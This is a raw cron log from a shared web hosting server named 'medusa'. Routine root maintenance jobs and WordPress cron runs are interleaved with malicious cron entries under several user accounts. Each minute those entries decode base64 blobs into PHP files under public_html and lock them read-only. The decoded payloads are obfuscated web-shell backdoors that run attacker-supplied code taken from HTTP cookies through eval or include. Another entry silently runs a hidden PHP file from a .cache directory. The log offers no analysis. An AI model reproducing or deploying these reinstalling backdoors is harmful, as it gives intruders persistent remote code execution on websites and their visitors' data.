Jun  7 14:31:02 medusa CROND[17759]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:31:02 medusa CROND[17762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:31:02 medusa CROND[17763]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:31:02 medusa CROND[17766]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:32:01 medusa CROND[19708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:32:01 medusa CROND[19722]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:32:01 medusa CROND[19724]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:32:01 medusa CROND[19725]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:32:01 medusa CROND[19726]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:32:01 medusa CROND[19728]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:32:01 medusa CROND[19730]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:32:01 medusa CROND[19731]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:32:01 medusa CROND[19732]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:32:01 medusa CROND[19734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:32:01 medusa CROND[19735]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:32:01 medusa CROND[19737]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:32:01 medusa CROND[19739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:33:02 medusa CROND[21617]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:33:02 medusa CROND[21618]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:33:02 medusa CROND[21620]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:33:02 medusa CROND[21619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:33:02 medusa CROND[21621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:33:02 medusa CROND[21630]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:33:02 medusa CROND[21631]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:33:02 medusa CROND[21632]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:33:02 medusa CROND[21633]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:33:02 medusa CROND[21634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:33:02 medusa CROND[21637]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
